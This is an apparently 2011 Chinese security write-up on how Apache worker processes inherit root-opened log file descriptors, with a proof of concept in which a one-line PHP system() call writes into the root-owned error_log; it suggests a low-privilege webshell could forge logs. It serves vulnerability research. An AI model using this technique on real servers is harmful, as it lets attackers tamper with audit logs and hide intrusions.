Linux 系统文件描述符继承带来的危害
时间:2011-01-16 来源:wofeiwo
[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话
0×00 前言
在初学linux编程的时候,都会知道这样一个概念:当你用fork建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体,除了pid不同,其余一切相同。
再试想一下这样的场景:在Webserver中,首先会使用root权限启动,以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户,fork出一些worker进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD,那么子进程中运行的PHP或其他脚本只需要继续操作这些FD,就能够使用普通权限“越权”操作root用户才能操作的文件。
0×01 POC
为了验证这个想法,我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14
首先我们查看任意一个apache的worker进程的fd:
[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd
如上所示,果然在apache的子进程中保存了日志的句柄,apache自身是daemon权限,而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。
<?php system("echo 12345 >&6");?>
访问一下,看看是不是的确将12345写入到了root的errorlog中。
[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log
很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志,那么以后所有的Web日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。
标签分类: